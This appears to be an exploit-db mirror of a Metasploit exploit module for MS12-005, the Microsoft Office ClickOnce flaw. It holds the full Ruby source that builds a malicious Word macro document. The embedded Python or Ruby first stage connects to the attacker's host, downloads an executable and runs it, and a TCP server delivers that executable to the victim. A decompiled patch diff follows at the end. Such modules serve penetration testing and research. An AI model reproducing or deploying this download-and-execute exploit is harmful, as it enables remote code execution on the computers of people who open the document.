Microsoft Office – ClickOnce Unsafe Object Package Handling (MS12-005) (Metasploit)

  • 作者: Metasploit
    日期: 2012-06-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/19037/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'rex/zip'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::FILEFORMAT
    	include Msf::Exploit::EXE
    	include Msf::Exploit::Remote::TcpServer
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability",
    			'Description'=> %q{
    					This module exploits a vulnerability found in Microsoft Office's ClickOnce
    				feature.When handling a Macro document, the application fails to recognize
    				certain file extensions as dangerous executables, which can be used to bypass
    				the warning message.This allows you to trick your victim into opening the
    				malicious document, which will load up either a python or ruby payload based on
    				your choosing, and then finally download and execute our executable.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Yorick Koster', #Vuln discovery
    					'sinn3r' #Metasploit
    				],
    			'References' =>
    				[
    					['CVE', '2012-0013'],
    					['OSVDB', '78207'],
    					['MSB', 'ms12-005'],
    					['BID', '51284'],
    					['URL', 'http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146'],
    					['URL', 'http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/']
    				],
    			'Payload'=>
    				{
    					'BadChars' => "\x00"
    				},
    			'DefaultOptions'=>
    				{
    					'ExitFunction'=> "none",
    					'DisablePayloadHandler' => 'false'
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					['Microsoft Office Word 2007/2010 on Windows 7', {}],
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "Jan 10 2012",
    			'DefaultTarget'=> 0))
    
    			register_options(
    				[
    					OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]),
    					OptString.new("BODY", [false, 'The message for the document body', '']),
    					OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
    				], self.class)
    	end
    
    
    	#
    	# Return the first-stage payload that will download our malicious executable.
    	#
    	def get_download_exec_payload(type, lhost, lport)
    		payload_name = Rex::Text.rand_text_alpha(7)
    
    		# Padd up 6 null bytes so the first few characters won't get cut off
    		p = "\x00"*6
    
    		case type
    		when :rb
    			p << %Q|
    			require 'socket'
    			require 'tempfile'
    			begin
    				cli = TCPSocket.open("#{lhost}",#{lport})
    				buf = ''
    				while l = cli.gets
    					buf << l
    				end
    				cli.close
    				tmp = Tempfile.new(['#{payload_name}','.exe'])
    				t = tmp.path
    				tmp.binmode
    				tmp.write(buf)
    				tmp.close
    				exec(t)
    			rescue
    			end#|
    
    		when :py
    			p << %Q|
    			import socket
    			import tempfile
    			import os
    
    			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    			s.connect(("#{lhost}", #{lport}))
    			buf = ""
    			while True:
    				data = s.recv(1024)
    				if data:
    					buf += data
    				else:
    					break
    			s.close
    			temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe"
    			f = open(temp, "wb")
    			f.write(buf)
    			f.close
    			f = None
    			os.system(temp)
    			#|
    
    		end
    
    		p = p.gsub(/^\t\t\t/, '')
    
    		return p
    	end
    
    
    	#
    	# Reads a file that'll be packaged.
    	# This will patch certain files on the fly, or return the original content of the file.
    	#
    	def on_file_read(fname, file)
    		f = open(file, 'rb')
    		buf = f.read
    		f.close
    
    		# Modify certain files on the fly
    		case file
    		when /oleObject1\.bin/
    			# Patch the OLE object file with our payload
    			print_status("Patching OLE object")
    			ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb
    			p = get_download_exec_payload(ptype, @ip, @port)
    			buf = buf.gsub(/MYPAYLOAD/, p)
    
    			# Patch username
    			username = Rex::Text.rand_text_alpha(5)
    			buf = buf.gsub(/METASPLOIT/, username)
    			buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username))
    
    			# Patch the filename
    			f = Rex::Text.rand_text_alpha(6)
    			buf = buf.gsub(/MYFILENAME/, f)
    			buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f))
    
    			# Patch the extension name
    			ext = ptype.to_s
    			buf = buf.gsub(/MYEXT/, ext)
    			buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext))
    
    		when /document\.xml/
    			print_status("Patching document body")
    			# Patch the docx body
    			buf = buf.gsub(/W00TW00T/, datastore['BODY'])
    
    		end
    
    		# The original filename of __rels is actually ".rels".
    		# But for some reason if that's our original filename, it won't be included
    		# in the archive. So this hacks around that.
    		case fname
    		when /__rels/
    			fname = fname.gsub(/\_\_rels/, '.rels')
    		end
    
    		yield fname, buf
    	end
    
    
    	#
    	# Packages the Office Macro Document
    	#
    	def package_docm_rex(path)
    		zip = Rex::Zip::Archive.new
    
    		Dir["#{path}/**/**"].each do |file|
    			p = file.sub(path+'/','')
    
    			if File.directory?(file)
    				print_status("Packging directory: #{file}")
    				zip.add_file(p)
    			else
    				on_file_read(p, file) do |fname, buf|
    					print_status("Packaging file: #{fname}")
    					zip.add_file(fname, buf)
    				end
    			end
    		end
    
    		zip.pack
    	end
    
    
    	#
    	# Return the malicious executable
    	#
    	def on_client_connect(cli)
    		print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)")
    		cli.put(@exe)
    		service.close_client(cli)
    	end
    
    
    	def exploit
    		@ip= datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
    		@port= datastore['SRVPORT']
    
    		print_status("Generating our docm file...")
    		path= File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2012-0013')
    		docm = package_docm_rex(path)
    
    		file_create(docm)
    		print_good("Let your victim open #{datastore['FILENAME']}")
    
    		print_status("Generating our malicious executable...")
    		@exe = generate_payload_exe
    
    		print_status("Ready to deliver your payload on #{@ip}:#{@port.to_s}")
    		super
    	end
    end
    
    =begin
    mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c 
    1c1
    < void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2)
    ---
    > const WCHAR *__thiscall CPackage::_GetCurrentIcon(void *this, int a2)
    ...
    24c24
    < if ( AssocIsDangerous(result) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )
    ---
    > if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )
    31c31
    =end